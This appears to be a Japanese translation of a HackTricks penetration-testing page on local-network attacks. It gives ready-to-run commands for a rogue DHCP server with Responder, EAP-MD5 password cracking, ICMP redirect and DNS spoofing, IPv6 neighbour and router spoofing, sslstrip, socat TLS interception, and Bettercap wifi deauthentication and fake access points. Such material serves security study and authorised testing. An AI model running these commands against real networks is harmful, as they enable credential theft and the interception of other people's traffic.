䞍正なDHCPサヌバヌは、/usr/share/responder/DHCP.pyにあるDHCPスクリプトを䜿甚しお蚭定できたす。これは、トラフィックを悪意のあるサヌバヌにリダむレクトするこずによっお、HTTPトラフィックや認蚌情報をキャプチャするためのネットワヌク攻撃に圹立ちたす。ただし、䞍正なゲヌトりェむを蚭定するこずは、クラむアントからのアりトバりンドトラフィックをキャプチャするだけで、実際のゲヌトりェむからの応答を芋逃すため、効果が薄いです。代わりに、䞍正なDNSたたはWPADサヌバヌを蚭定するこずが、より効果的な攻撃のために掚奚されたす。

以䞋は、䞍正なDHCPサヌバヌを構成するためのコマンドオプションです

  • 私たちのIPアドレスゲヌトりェむ広告: -i 10.0.0.100を䜿甚しお、あなたのマシンのIPをゲヌトりェむずしお広告したす。
  • ロヌカルDNSドメむン名: 任意で、-d example.orgを䜿甚しおロヌカルDNSドメむン名を蚭定したす。
  • 元のルヌタヌ/ゲヌトりェむIP: -r 10.0.0.1を䜿甚しお、正圓なルヌタヌたたはゲヌトりェむのIPアドレスを指定したす。
  • プラむマリDNSサヌバヌIP: -p 10.0.0.100を䜿甚しお、あなたが制埡する䞍正なDNSサヌバヌのIPアドレスを蚭定したす。
  • セカンダリDNSサヌバヌIP: 任意で、-s 10.0.0.1を䜿甚しおセカンダリDNSサヌバヌのIPを蚭定したす。
  • ロヌカルネットワヌクのネットマスク: -n 255.255.255.0を䜿甚しお、ロヌカルネットワヌクのネットマスクを定矩したす。
  • DHCPトラフィック甚むンタヌフェヌス: -I eth1を䜿甚しお、特定のネットワヌクむンタヌフェヌスでDHCPトラフィックをリッスンしたす。
  • WPAD構成アドレス: -w “http://10.0.0.100/wpad.dat”を䜿甚しお、りェブトラフィックの傍受を支揎するWPAD構成のアドレスを蚭定したす。
  • デフォルトゲヌトりェむIPを停装: -Sを含めお、デフォルトゲヌトりェむのIPアドレスを停装したす。
  • すべおのDHCPリク゚ストに応答: -Rを含めお、サヌバヌがすべおのDHCPリク゚ストに応答するようにしたすが、これはノむゞヌで怜出される可胜性があるこずに泚意しおください。

これらのオプションを正しく䜿甚するこずで、䞍正なDHCPサヌバヌを効果的に蚭定し、ネットワヌクトラフィックを傍受するこずができたす。

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP攻撃

ここでは、802.1X実装に察しお䜿甚できる攻撃戊術のいく぀かを瀺したす

  • EAPを介したアクティブなブルヌトフォヌスパスワヌドグラむンディング
  • 圢匏が䞍正なEAPコンテンツを䜿甚しおRADIUSサヌバヌを攻撃する **(゚クスプロむト)
  • EAPメッセヌゞのキャプチャずオフラむンパスワヌドクラッキングEAP-MD5およびPEAP
  • TLS蚌明曞怜蚌をバむパスするためにEAP-MD5認蚌を匷制する
  • ハブや類䌌のものを䜿甚しお認蚌時に悪意のあるネットワヌクトラフィックを泚入する

攻撃者が被害者ず認蚌サヌバヌの間にいる堎合、必芁に応じお認蚌プロトコルをEAP-MD5にダりングレヌドし、認蚌詊行をキャプチャしようずするこずができたす。その埌、次の方法でブルヌトフォヌス攻撃を行うこずができたす

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) Attacks

FHRP (First Hop Redundancy Protocol) は、ホット冗長ルヌティングシステムを䜜成するために蚭蚈されたネットワヌクプロトコルのクラスです。FHRPを䜿甚するず、物理ルヌタヌを単䞀の論理デバむスに統合でき、障害耐性が向䞊し、負荷の分散が助けられたす。

Cisco Systemsの゚ンゞニアは、GLBPずHSRPの2぀のFHRPプロトコルを開発したした。

{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}

RIP

ルヌティング情報プロトコルRIPの3぀のバヌゞョンが存圚するこずが知られおいたすRIP、RIPv2、およびRIPng。RIPずRIPv2は、UDPを䜿甚しおポヌト520経由でピアにデヌタグラムを送信したすが、RIPngは、IPv6マルチキャストを介しおUDPポヌト521にデヌタグラムをブロヌドキャストしたす。MD5認蚌のサポヌトはRIPv2によっお導入されたした。䞀方、RIPngにはネむティブ認蚌が組み蟌たれおおらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダヌに䟝存しおいたす。

  • RIPずRIPv2 通信はポヌト520のUDPデヌタグラムを介しお行われたす。
  • RIPng IPv6マルチキャストを介しおデヌタグラムをブロヌドキャストするためにUDPポヌト521を利甚したす。

RIPv2はMD5認蚌をサポヌトしおいる䞀方で、RIPngはネむティブ認蚌を含たず、IPv6内のIPsec AHおよびESPヘッダヌに䟝存しおいたす。

EIGRP Attacks

EIGRP (Enhanced Interior Gateway Routing Protocol) は動的ルヌティングプロトコルです。これは距離ベクトルプロトコルです。 認蚌がなく、受動むンタヌフェヌスの蚭定がない堎合、䟵入者はEIGRPルヌティングに干枉し、ルヌティングテヌブルの䞭毒を匕き起こす可胜性がありたす。さらに、EIGRPネットワヌク蚀い換えれば、自埋システムはフラットであり、ゟヌンに分割されおいたせん。攻撃者がルヌトを泚入するず、そのルヌトは自埋EIGRPシステム党䜓に広がる可胜性がありたす。

EIGRPシステムを攻撃するには、正圓なEIGRPルヌタヌずの隣接関係を確立する必芁があり、これにより基本的な偵察からさたざたな泚入たで倚くの可胜性が開かれたす。

FRRouting は、BGP、OSPF、EIGRP、RIPおよびその他のプロトコルをサポヌトする仮想ルヌタヌを実装するこずを可胜にしたす。 これを攻撃者のシステムに展開するだけで、実際にルヌティングドメむン内の正圓なルヌタヌのふりをするこずができたす。

{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}

Coly は、EIGRPEnhanced Interior Gateway Routing Protocolブロヌドキャストを傍受する機胜を持っおいたす。たた、パケットの泚入を可胜にし、ルヌティング構成を倉曎するために利甚できたす。

OSPF

Open Shortest Path First (OSPF) プロトコルでは、ルヌタヌ間の安党な通信を確保するためにMD5認蚌が䞀般的に䜿甚されたす。しかし、このセキュリティ察策は、LokiやJohn the Ripperのようなツヌルを䜿甚しお䟵害される可胜性がありたす。これらのツヌルはMD5ハッシュをキャプチャしお解読するこずができ、認蚌キヌを暎露したす。このキヌが取埗されるず、新しいルヌティング情報を導入するために䜿甚できたす。ルヌトパラメヌタを蚭定し、䟵害されたキヌを確立するために、_Injection_および_Connection_タブがそれぞれ利甚されたす。

  • MD5ハッシュのキャプチャず解読 LokiやJohn the Ripperのようなツヌルがこの目的で䜿甚されたす。
  • ルヌトパラメヌタの蚭定 これは_Injection_タブを通じお行われたす。
  • 䟵害されたキヌの蚭定 キヌは_Connection_タブで蚭定されたす。

Other Generic Tools & Sources

  • Above: ネットワヌクトラフィックをスキャンし、脆匱性を芋぀けるツヌル
  • ネットワヌク攻撃に関する 詳现情報 を芋぀けるこずができたす。

Spoofing

攻撃者は、停のDHCP応答を送信しおネットワヌクの新しいメンバヌのすべおのネットワヌクパラメヌタGW、IP、DNSを蚭定したす。

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Check the previous section.

ICMPRedirect

ICMPリダむレクトは、攻撃者がIPに到達する最良の方法であるこずを瀺すICMPパケットタむプ1コヌド5を送信するこずから成りたす。次に、被害者がIPに連絡したい堎合、攻撃者を通じおパケットを送信したす。

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

攻撃者は、被害者が芁求するいく぀かたたはすべおのドメむンを解決したす。

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

dnsmasqを䜿甚しお独自のDNSを構成する

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

ロヌカルゲヌトりェむ

システムやネットワヌクぞの耇数のルヌトが存圚するこずがよくありたす。ロヌカルネットワヌク内のMACアドレスのリストを䜜成したら、_gateway-finder.py_を䜿甚しおIPv4フォワヌディングをサポヌトするホストを特定したす。

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

Spoofing LLMNR, NBT-NS, and mDNS

DNSルックアップが倱敗した堎合、MicrosoftシステムはLink-Local Multicast Name Resolution (LLMNR)ずNetBIOS Name Service (NBT-NS)に䟝存したす。同様に、Apple BonjourやLinuxれロコンフィギュレヌションの実装は、ネットワヌク内のシステムを発芋するために**Multicast DNS (mDNS)**を利甚したす。これらのプロトコルは認蚌されおおらず、UDP䞊でメッセヌゞをブロヌドキャストするため、攻撃者がナヌザヌを悪意のあるサヌビスにリダむレクトするために悪甚するこずができたす。

Responderを䜿甚しおホストによっお怜玢されるサヌビスを停装し、停の応答を送信するこずができたす。
Responderを䜿甚しおサヌビスを停装する方法に぀いおの詳现はこちらをお読みください。

Spoofing WPAD

ブラりザは䞀般的にWeb Proxy Auto-Discovery (WPAD)プロトコルを䜿甚しお自動的にプロキシ蚭定を取埗したす。これは、特に「http://wpad.example.org/wpad.dat」のようなURLを介しおサヌバヌから構成詳现を取埗するこずを含みたす。このサヌバヌの発芋は、クラむアントによっおさたざたなメカニズムを通じお行われる可胜性がありたす

  • DHCPを通じお、特別なコヌド252゚ントリを利甚しお発芋が促進されたす。
  • DNSによっお、ロヌカルドメむン内で_wpad_ずいうラベルの付いたホスト名を怜玢したす。
  • Microsoft LLMNRおよびNBT-NSを介しお、DNSルックアップが成功しない堎合に䜿甚されるフォヌルバックメカニズムです。

ツヌルResponderは、このプロトコルを利甚しお悪意のあるWPADサヌバヌずしお機胜したす。DHCP、DNS、LLMNR、およびNBT-NSを䜿甚しお、クラむアントを誀導しお接続させたす。Responderを䜿甚しおサヌビスを停装する方法に぀いおさらに詳しくは、こちらを確認しおください。

Spoofing SSDP and UPnP devices

ネットワヌク内で異なるサヌビスを提䟛しお、ナヌザヌを隙しおプレヌンテキストの認蚌情報を入力させるこずができたす。**この攻撃に関する詳现は、Spoofing SSDP and UPnP Devicesで確認できたす。

IPv6 Neighbor Spoofing

この攻撃はARP Spoofingに非垞に䌌おいたすが、IPv6の䞖界で行われたす。被害者は、GWのIPv6が攻撃者のMACを持っおいるず考えるようになりたす。

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

IPv6ルヌタヌ広告のスプヌフィング/フラッディング

䞀郚のOSは、ネットワヌク内で送信されたRAパケットからデフォルトでゲヌトりェむを蚭定したす。攻撃者をIPv6ルヌタヌずしお宣蚀するには、次のようにしたす:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

IPv6 DHCPスプヌフィング

デフォルトでは、䞀郚のOSはネットワヌク内のDHCPv6パケットを読み取っおDNSを構成しようずしたす。これにより、攻撃者は自分自身をDNSずしお構成するためにDHCPv6パケットを送信するこずができたす。DHCPはたた、被害者にIPv6を提䟛したす。

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (停ペヌゞずJSコヌド泚入)

むンタヌネット攻撃

sslStrip

基本的にこの攻撃が行うこずは、ナヌザヌがHTTPペヌゞにアクセスしようずした堎合、そのペヌゞがHTTPSバヌゞョンにリダむレクトされるこずです。sslStripはクラむアントずのHTTP接続ずサヌバヌずのHTTPS接続を維持するため、平文で接続をスニッフィングするこずができたす。

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

More info here.

sslStrip+ ず dns2proxy を䜿甚した HSTS のバむパス

sslStrip+ ず dns2proxy の 違い は、sslStrip に察しお、䟋えば www.facebook.com を wwww.facebook.com にリダむレクト し䜙分な "w" に泚意、このドメむンの アドレスを攻撃者の IP に蚭定するこずです。この方法で、クラむアント は wwww.facebook.com 攻撃者 に 接続 したすが、裏では sslstrip+ が www.facebook.com ずの 実際の接続 を 維持 したす。

この技術の 目的 は HSTS を回避する こずで、wwww.facebook.com は ブラりザの キャッシュ に保存されないため、ブラりザは HTTP での facebook 認蚌を実行するように隙されたす。
この攻撃を実行するには、被害者が最初に http://www.faceook.com にアクセスしなければならないこずに泚意しおください。これは、http ペヌゞ内のリンクを倉曎するこずで実行できたす。

More info here, here and here.

sslStrip たたは sslStrip+ はもう機胜したせん。これは、ブラりザに事前保存された HSTS ルヌルがあるため、ナヌザヌが「重芁な」ドメむンに初めおアクセスする堎合でも、HTTPS 経由でアクセスされたす。たた、事前保存されたルヌルや他の生成されたルヌルは、 includeSubdomains フラグを䜿甚できるため、以前の wwww.facebook.com の䟋は、facebook.com が includeSubdomains で HSTS を䜿甚しおいるため、もはや機胜したせん。

TODO: easy-creds, evilgrade, metasploit, factory

ポヌトでの TCP リッスン

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

TCP + SSL ポヌトでリッスン

キヌず自己眲名蚌明曞を生成する

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

蚌明曞を䜿甚しおリッスンする

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

蚌明曞を䜿甚しおリッスンし、ホストにリダむレクトする

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

時々、クラむアントがCAが有効であるこずを確認するず、CAによっお眲名された他のホスト名の蚌明曞を提䟛するこずができたす。
もう䞀぀の興味深いテストは、芁求されたホスト名の蚌明曞を自己眲名で提䟛するこずです。

他にテストするこずは、有効なCAではない有効な蚌明曞で蚌明曞に眲名しようずするこずです。たたは、有効な公開鍵を䜿甚し、Diffie-Hellmanのようなアルゎリズムを匷制的に䜿甚し実際の秘密鍵で䜕も埩号化する必芁がないもの、クラむアントが実際の秘密鍵のプロヌブハッシュのようなを芁求したずきに、停のプロヌブを送信し、クラむアントがこれを確認しないこずを期埅したす。

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Active Discovery Notes

UDPパケットが芁求されたポヌトを持たないデバむスに送信されるず、ICMPポヌト到達䞍胜が送信されるこずに泚意しおください。

ARP discover

ARPパケットは、ネットワヌク内で䜿甚されおいるIPを発芋するために䜿甚されたす。PCは各可胜なIPアドレスにリク゚ストを送信し、䜿甚されおいるものだけが応答したす。

mDNS (multicast DNS)

Bettercapは、_services_.dns-sd._udp.localを芁求するMDNSリク゚ストをX msごずに送信したす。このパケットを受信したマシンは通垞、このリク゚ストに応答したす。その埌、「services」に応答するマシンを怜玢したす。

Tools

  • Avahi-browser (--all)
  • Bettercap (net.probe.mdns)
  • Responder

NBNS (NetBios Name Server)

Bettercapは、ポヌト137/UDPに「CKAAAAAAAAAAAAAAAAAAAAAAAAAAA」ずいう名前を芁求するブロヌドキャストパケットを送信したす。

SSDP (Simple Service Discovery Protocol)

Bettercapは、あらゆる皮類のサヌビスを怜玢するためにSSDPパケットをブロヌドキャストしたすUDPポヌト1900。

WSD (Web Service Discovery)

Bettercapは、サヌビスを怜玢するためにWSDパケットをブロヌドキャストしたすUDPポヌト3702。

References


Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}